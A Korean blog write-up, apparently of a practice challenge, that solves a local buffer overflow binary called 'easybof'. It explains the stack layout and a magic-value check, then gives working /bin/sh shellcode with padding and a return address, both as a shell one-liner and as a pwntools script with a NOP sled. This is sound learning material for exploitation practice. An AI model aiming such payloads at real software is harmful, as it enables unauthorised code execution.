동아리 선배가 만드신 BOF문제를 풀어보자
우선 gdb를 이용해 무슨 함수가 있는지 봐보자
main함수가 있으니 main함수부터 봐보자
<main>
main함수를 보니 scanf를 이용해서 BOF를 일으켜 푸는 문제 인거 같다.
먼저 코드를 위에서 부터 보면서 스택을 그려보자~
스택이 이러한 구조로 되있는데
위 코드를 보면 ebp-0x4에 있는 값이 0xdeadbeef랑 같아야
프로그램이 정상적으로 끝이 난다.
그러기 위해서는
0x68-0x4인
100byte를 먼저 쉘코드와 더미로 채우고
0x4부터는 0xdeadbeef로 채우고
SFP는 4byte니깐 아무문자로 4byte를 채우고
RET에 buffer의 주소를 넣어서 쉘코드를 실행시키자
-------------------------------------------------------------------------------------------------------------------------
여기서 버퍼의 주소가
ASLR
이라는 메모리 보호 기법에 의해서 계속 바뀐다
이것과 무관하게 BOF를 일으키려면
pwntool을 사용하면 된다.
일단은 ASLR을 끄고 주소를 고정시키고
문제를 풀어보겠다
------------------------------------------------------------------------------------------------------------------------
그러기 위한 파이프라인은
(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"+"A"*75+"\xef\xbe\xad\xde"+"a"*4+"\x00\xd0\xff\xff"'; cat)|./easybof
이렇게 작성 할 수 있다.
(리틀엔디안을 적용해서 작성한다)
작성 후 돌려보면
잘된다
이렇게 파이프라인을 이용한 방법 말고 pwntool을 이용하여 해결 할 수도있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import * p=process("./easybof") shellcode = "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80" ret = 0xffffd0d0 dead = 0xdeadbeef payload = "\x90"*100 + p32(dead) + "a"*4 + p32(ret) + "\x90"*1000 + shellcode p.send(payload) p.interactive() | cs |
이렇게 페이로드를 작성하여 실행해도
잘된다
'D. 시스템 > 실습' 카테고리의 다른 글
[LOB] 3번 goblin (0) | 2017.11.16 |
---|---|
[LOB] 2번 cobolt (0) | 2017.10.15 |
[LOB] 1번 gremlin (0) | 2017.10.14 |
[Pwnable.kr] bof (0) | 2017.10.13 |